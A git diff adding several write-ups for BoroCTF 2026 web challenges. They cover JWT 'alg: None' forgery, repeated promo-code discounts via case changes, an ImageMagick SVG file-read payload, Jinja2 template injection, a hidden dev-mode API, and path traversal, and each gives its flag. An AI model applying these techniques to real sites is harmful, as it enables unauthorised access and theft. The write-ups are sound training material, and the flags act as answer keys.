b/2026/BoroCTF/Web Exploitation/Jay W. Tee/README.md new file mode 100644 index 0000000..221e5a3 --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Jay W. Tee/README.md @@ -0,0 +1,53 @@ +### Jay W. Tee + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Solves** | 185 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#Jay.%20W.%20Tee-92` | + +> **Challenge Description:** A login portal secured with JSON Web Tokens. Can you escalate your privileges? + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/Jay%20W.%20Tee). + +#### Initial Reconnaissance + +We are presented with a login page. Upon logging in with any credentials, the server returns a JWT token, sets it as a cookie, and redirects to `/dashboard`. + +The issued token: + +``` +eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.CQTNZMNpCfnOH77zxgTiJOHoS86V99_JsiAF3az3dEo +``` + +Decoding the JWT reveals: + +![image](challenge_files/Pasted%20image%2020260622161402.png) + +- **Algorithm:** HS256 +- **Payload:** `{"username": "admin", "role": "guest"}` + +#### Exploitation — JWT Algorithm None Attack + +Since the algorithm is HS256, I consulted [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) for JWT exploitation techniques. One effective method is to change the `alg` field to `None`, which tells the server to skip signature verification. + +I tampered with the token using `jwt_tool`: + +![image](challenge_files/Pasted%20image%2020260622162325.png) + +Replacing the original cookie with the tampered token (with `alg: None` and `role: admin`) granted access to the admin dashboard: + +![image](challenge_files/Pasted%20image%2020260622162210.png) + +#### Flag + +``` +boroCTF{n0_s1gn4tur3_n0_pr0bl3m^^} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622161402.png b/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622161402.png new file mode 100644 index 0000000..c6d71df Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622161402.png differ diff --git a/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622162210.png b/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622162210.png new file mode 100644 index 0000000..f74c3ef Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622162210.png differ diff --git a/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622162325.png b/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622162325.png new file mode 100644 index 0000000..f225af8 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Jay W. Tee/challenge_files/Pasted image 20260622162325.png differ diff --git a/2026/BoroCTF/Web Exploitation/Klaud Code/README.md b/2026/BoroCTF/Web Exploitation/Klaud Code/README.md new file mode 100644 index 0000000..4193ebe --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Klaud Code/README.md @@ -0,0 +1,38 @@ +### Klaud Code + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 300 | +| **Solves** | 61 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#Klaud%20Code-93` | + +> **Challenge Description:** *"Klaud is the hot new AI company, offering their new MAX subscription for only $2,000/month..."* + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/Klaud%20Code). + +#### Initial Reconnaissance + +This was the most frustrating challenge. The entire site was mostly a distraction. The key was to go to the **About** page and find a promotional video link. + +#### Exploitation + +The video revealed a promo code: `KLAUD20OFF`, which applied a discount of **$400**. + +The critical flaw: the promo code validation was **case-insensitive on re-application**. By changing the letter casing each time (e.g., `klaud20off`, `Klaud20Off`, `KLAUD20off`, etc.), the code could be applied repeatedly, stacking discounts until the price dropped to **$0**. + +![image](challenge_files/Pasted%20image%2020260622142422.png) + +At $0, the subscription could be purchased, revealing the flag. + +#### Flag + +``` +boroCTF{kl@ud_c0d3d_btw_lol} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Klaud Code/challenge_files/Pasted image 20260622125730.png b/2026/BoroCTF/Web Exploitation/Klaud Code/challenge_files/Pasted image 20260622125730.png new file mode 100644 index 0000000..9d47eb8 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Klaud Code/challenge_files/Pasted image 20260622125730.png differ diff --git a/2026/BoroCTF/Web Exploitation/Klaud Code/challenge_files/Pasted image 20260622142422.png b/2026/BoroCTF/Web Exploitation/Klaud Code/challenge_files/Pasted image 20260622142422.png new file mode 100644 index 0000000..8bbac0e Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Klaud Code/challenge_files/Pasted image 20260622142422.png differ diff --git a/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/README.md b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/README.md new file mode 100644 index 0000000..d65702d --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/README.md @@ -0,0 +1,64 @@ +### Kobeni Dashboard + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Solves** | 206 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#Kobeni's%20Dashboard-56` | + +> **Challenge Description:** *"Kobeni's been tasked with cataloging devil sighting evidence through Public Safety's dashboard..."* + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/kobeni-dashboard). + +#### Initial Reconnaissance + +We are given a site with an image upload feature. The JavaScript reveals that the upload type is restricted to images: + +![image](challenge_files/Pasted%20image%2020260622144903.png) + +#### Identifying the Vulnerability + +I uploaded a legitimate image to analyze the request in Burp Suite. A critical clue appeared in the server's response — it uses **ImageMagick** to process uploaded images. + +![image](challenge_files/Pasted%20image%2020260622145017.png) + +Searching for ImageMagick upload vulnerabilities led me to the well-known **SVG arbitrary file read** vulnerability. + +**Reference:** [PayloadsAllTheThings — ImageMagick SVG LFI](https://github.com/swisskyrepo/PayloadsAllTheThings/blame/master/Upload%20Insecure%20Files/Picture%20ImageMagick/convert_local_etc_passwd.svg) + +#### Payload Building + +I crafted an SVG payload to exploit the vulnerability: + +```xml + +xmlns="http://www.w3.org/2000/svg"> + + +``` + +This exploits the vulnerability where `xlink:href` can reference local file paths (`text:` protocol) instead of HTTP URLs, causing ImageMagick to render the file contents into the output image. + +#### Exploitation + +The uploaded SVG was processed by ImageMagick, and the resulting image contained the flag text: + +![image](challenge_files/Pasted%20image%2020260622155856.png) + +Resizing the image revealed the flag clearly: + +![image](challenge_files/Pasted%20image%2020260622155541.png) + +#### Flag + +``` +boroCTF{I'v3_n3v3r_been_T0_sch00l_3ithEr} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622144903.png b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622144903.png new file mode 100644 index 0000000..3917d4d Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622144903.png differ diff --git a/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622145017.png b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622145017.png new file mode 100644 index 0000000..94d745a Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622145017.png differ diff --git a/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155455.png b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155455.png new file mode 100644 index 0000000..f9a4612 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155455.png differ diff --git a/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155541.png b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155541.png new file mode 100644 index 0000000..44b5106 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155541.png differ diff --git a/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155856.png b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155856.png new file mode 100644 index 0000000..488c12e Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Kobeni Dashboard/challenge_files/Pasted image 20260622155856.png differ diff --git a/2026/BoroCTF/Web Exploitation/NERV/README.md b/2026/BoroCTF/Web Exploitation/NERV/README.md new file mode 100644 index 0000000..f5c07b3 --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/NERV/README.md @@ -0,0 +1,62 @@ +### NERV + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Solves** | 267 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#NERV-53` | + +> **Challenge Description:** *"NERV HQ internal systems remain online following the Third Impact preliminary event. You have been assigned clearance level 2. This is sufficient. Do not look for what you have..."* + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/NERV%20Personnel%20Portal). + +#### Initial Reconnaissance + +The challenge presents a Neon Genesis Evangelion-themed login portal. After logging in, we get a page where we can submit 2 numbers and select a pilot. The numbers are multiplied and checked if the result exceeds 400. + +Initial attempts: +- Editing the token to change the username — did not work. +- SQL injection in the login panel — no progress. + +#### Discovery via robots.txt + +Visiting `/robots.txt` revealed useful information: + +![image](challenge_files/Pasted%20image%2020260622173602.png) + +![image](challenge_files/Pasted%20image%2020260622173644.png) + +#### Identifying SSTI + +Testing `{{ 7 * 7 }}` in the pilot name field printed `49`, confirming a **Server-Side Template Injection (SSTI)** vulnerability in Flask/Jinja2. + +![image](challenge_files/Pasted%20image%2020260622174115.png) + +Using SSTI, I extracted the Flask secret key: + +``` +('SECRET_KEY', 'N3RV-CLASS1F13D-MAGI-S3CR3T-T0KY0-3') +``` + +#### Exploitation — Reading the Flag Directly + +Instead of forging a JWT with the secret key, I used SSTI to directly read the flag file. + +![image](challenge_files/Pasted%20image%2020260622174508.png) + +The flag was not in the current directory. After trying various paths, I found it in the root directory (`/`): + +![image](challenge_files/Pasted%20image%2020260622174435.png) + +#### Flag + +``` +boroCTF{congr@tulat!0nS*} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622173602.png b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622173602.png new file mode 100644 index 0000000..233f9ae Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622173602.png differ diff --git a/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622173644.png b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622173644.png new file mode 100644 index 0000000..b520768 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622173644.png differ diff --git a/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174115.png b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174115.png new file mode 100644 index 0000000..66f7637 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174115.png differ diff --git a/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174435.png b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174435.png new file mode 100644 index 0000000..8c62eef Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174435.png differ diff --git a/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174508.png b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174508.png new file mode 100644 index 0000000..b6e9fea Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/NERV/challenge_files/Pasted image 20260622174508.png differ diff --git a/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/README.md b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/README.md new file mode 100644 index 0000000..3a55110 --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/README.md @@ -0,0 +1,75 @@ +### Remnants (boroGPT) + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 200 | +| **Solves** | 185 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#boroGPT-137` | + +> **Challenge Description:** *"Introducing boroGPT, boroAI's cutting-edge large language model that will revolutionize the way you think..."* + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/boroGPT). + +#### Initial Reconnaissance + +The challenge presented a page mimicking an AI chat service called "boroGPT." However, sending chat messages produced randomized hardcoded responses. The frontend JavaScript (`/static/main.js`) was a decoy. + +#### JavaScript Deobfuscation + +Inspecting the JavaScript revealed obfuscated code containing the real API: + +```javascript +var _0x4f2a = ['v0', 'users', 'render', 'jwks', 'X-Dev-Mode', 'Authorization', 'Bearer ', 'true']; +var c = function(e, t) { + return _0x4f2a[e - 0x1f0] +}; +var F = { + version: '2.4.1', + build: 'prod', + _legacyBase: '/api/' + c(0x1f0) + '/' +}; +``` + +**Analysis:** +- `c(0x1f0)` resolves to `'v0'` → legacy base URL: `/api/v0/` +- Exposed endpoints: `users`, `render`, `jwks` +- Custom header: `X-Dev-Mode: true` + +#### Discovering the Hidden API + +Sending a `GET` request to the `users` endpoint with the required header: + +```bash +curl -s -H "X-Dev-Mode: true" https://mx7pk2qw9nr4slvt.boroctf.com/api/v0/users +``` + +![image](challenge_files/Pasted%20image%2020260622183003.png) + +This returned user data including an admin JWT. + +#### Exploiting the Render Endpoint + +With the admin JWT, I accessed `/api/v0/render` (which previously returned `401 Unauthorized`) using both the `Authorization: Bearer ` header and `X-Dev-Mode: true`: + +![image](challenge_files/Pasted%20image%2020260622213300.png) + +The initial response was `{"output":""}`. After extensive testing, I discovered that `{"template":"{{7*7}}"}` returned `49` — confirming **SSTI**. + +#### Flag Extraction + +I extracted the flag using an SSTI payload: + +![image](challenge_files/Pasted%20image%2020260622213547.png) + +#### Flag + +``` +boroCTF{pub1ic_k3y_g0es_both_ways} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622174435.png b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622174435.png new file mode 100644 index 0000000..8c62eef Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622174435.png differ diff --git a/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622174508.png b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622174508.png new file mode 100644 index 0000000..b6e9fea Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622174508.png differ diff --git a/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622183003.png b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622183003.png new file mode 100644 index 0000000..ee1ab6f Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622183003.png differ diff --git a/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622213300.png b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622213300.png new file mode 100644 index 0000000..c4de21f Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622213300.png differ diff --git a/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622213547.png b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622213547.png new file mode 100644 index 0000000..c0a16da Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/Remnants (boroGPT)/challenge_files/Pasted image 20260622213547.png differ diff --git a/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/README.md b/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/README.md new file mode 100644 index 0000000..2a8337a --- /dev/null +++ b/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/README.md @@ -0,0 +1,34 @@ +### dotdotslashflagtxt + +> **Writeup Author:** kushaln3 + + +| | | +|---|---| +| **Category** | Web | +| **Points** | 100 | +| **Solves** | 421 | +| **Author** | Solarity | +| **Challenge URL** | `https://boroctf.com/challenges#dotdotslashflagtxt-97` | + +> **Challenge Description:** A company's internal document viewer exposed via a `file` parameter. The challenge name is the hint. + +> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/dotdotslashflagtxt). + +#### Initial Reconnaissance + +The website uses `/view?file=` to access files. As the challenge name suggests (`../flag.txt`), this is a classic **path traversal** vulnerability. + +#### Exploitation + +Navigating to `../flag.txt` via the `file` parameter revealed the flag: + +![image](challenge_files/Pasted%20image%2020260622125730.png) + +#### Flag + +``` +boroCTF{p@th_Tr@v3rs@L_r0Ck5!} +``` + +--- \ No newline at end of file diff --git a/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/challenge_files/Pasted image 20260622122221.png b/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/challenge_files/Pasted image 20260622122221.png new file mode 100644 index 0000000..d22bf0b Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/challenge_files/Pasted image 20260622122221.png differ diff --git a/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/challenge_files/Pasted image 20260622125730.png b/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/challenge_files/Pasted image 20260622125730.png new file mode 100644 index 0000000..9d47eb8 Binary files /dev/null and b/2026/BoroCTF/Web Exploitation/dotdotslashflagtxt/challenge_files/Pasted image 20260622125730.png differ